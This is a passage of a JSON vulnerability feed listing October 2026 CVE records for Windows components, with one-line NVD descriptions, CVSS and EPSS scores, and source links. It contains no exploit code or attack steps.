fixes.","publishedAt":"2026-10-13T19:20:09.393Z","updatedAt":"2026-10-14T04:18:39.793Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83674","asOf":"2026-10-14T04:18:39.793Z"},"epss":{"probability":0.00728,"percentile":0.53904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83674","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83674","type":"primary","publishedAt":"2026-10-13T19:20:09.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83670","cveId":"CVE-2026-83670","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:08.860Z","updatedAt":"2026-10-16T16:21:14.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83670","asOf":"2026-10-16T16:21:14.900Z"},"epss":{"probability":0.01092,"percentile":0.65177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83670&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83670","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83670","type":"primary","publishedAt":"2026-10-13T19:20:08.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83670&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83670, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83669","cveId":"CVE-2026-83669","aliases":[],"kind":"vulnerability","title":"Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:08.700Z","updatedAt":"2026-10-16T16:21:14.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83669","asOf":"2026-10-16T16:21:14.750Z"},"epss":{"probability":0.00433,"percentile":0.37358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83669&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83669","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83669","type":"primary","publishedAt":"2026-10-13T19:20:08.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83669&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83669, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83666","cveId":"CVE-2026-83666","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:08.177Z","updatedAt":"2026-10-14T04:18:39.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83666","asOf":"2026-10-14T04:18:39.620Z"},"epss":{"probability":0.00226,"percentile":0.13229,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83666&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83666","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83666","type":"primary","publishedAt":"2026-10-13T19:20:08.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83666&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83666, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83665","cveId":"CVE-2026-83665","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network.","summary":"Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network.","detail":"Null pointer dereference in Windows DHCP Server allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:08.023Z","updatedAt":"2026-10-13T23:18:17.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83665","asOf":"2026-10-13T23:18:17.217Z"},"epss":{"probability":0.01359,"percentile":0.71491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83665","type":"primary","publishedAt":"2026-10-13T19:20:08.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83659","cveId":"CVE-2026-83659","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:07.660Z","updatedAt":"2026-10-16T16:21:13.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83659","asOf":"2026-10-16T16:21:13.890Z"},"epss":{"probability":0.00341,"percentile":0.27364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83659","type":"primary","publishedAt":"2026-10-13T19:20:07.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83655","cveId":"CVE-2026-83655","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:06.973Z","updatedAt":"2026-10-16T16:21:13.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83655","asOf":"2026-10-16T16:21:13.380Z"},"epss":{"probability":0.01359,"percentile":0.71492,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83655","type":"primary","publishedAt":"2026-10-13T19:20:06.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83654","cveId":"CVE-2026-83654","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","summary":"Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","detail":"Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:06.790Z","updatedAt":"2026-10-16T16:21:13.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83654","asOf":"2026-10-16T16:21:13.243Z"},"epss":{"probability":0.00323,"percentile":0.25034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83654&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83654","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83654","type":"primary","publishedAt":"2026-10-13T19:20:06.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83654&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83654, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83652","cveId":"CVE-2026-83652","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:06.613Z","updatedAt":"2026-10-16T16:21:13.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83652","asOf":"2026-10-16T16:21:13.077Z"},"epss":{"probability":0.00361,"percentile":0.29674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83652","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83652","type":"primary","publishedAt":"2026-10-13T19:20:06.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83650","cveId":"CVE-2026-83650","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:06.260Z","updatedAt":"2026-10-16T16:21:12.737Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83650","asOf":"2026-10-16T16:21:12.737Z"},"epss":{"probability":0.00361,"percentile":0.29672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83650","type":"primary","publishedAt":"2026-10-13T19:20:06.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83647","cveId":"CVE-2026-83647","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:05.780Z","updatedAt":"2026-10-16T16:21:12.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83647","asOf":"2026-10-16T16:21:12.300Z"},"epss":{"probability":0.01298,"percentile":0.70192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83647","type":"primary","publishedAt":"2026-10-13T19:20:05.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83645","cveId":"CVE-2026-83645","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:05.500Z","updatedAt":"2026-10-13T21:18:30.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83645","asOf":"2026-10-13T21:18:30.667Z"},"epss":{"probability":0.01249,"percentile":0.69161,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83645","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83645","type":"primary","publishedAt":"2026-10-13T19:20:05.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83644","cveId":"CVE-2026-83644","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:05.340Z","updatedAt":"2026-10-16T16:21:11.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83644","asOf":"2026-10-16T16:21:11.933Z"},"epss":{"probability":0.00286,"percentile":0.20919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83644","type":"primary","publishedAt":"2026-10-13T19:20:05.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83643","cveId":"CVE-2026-83643","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker 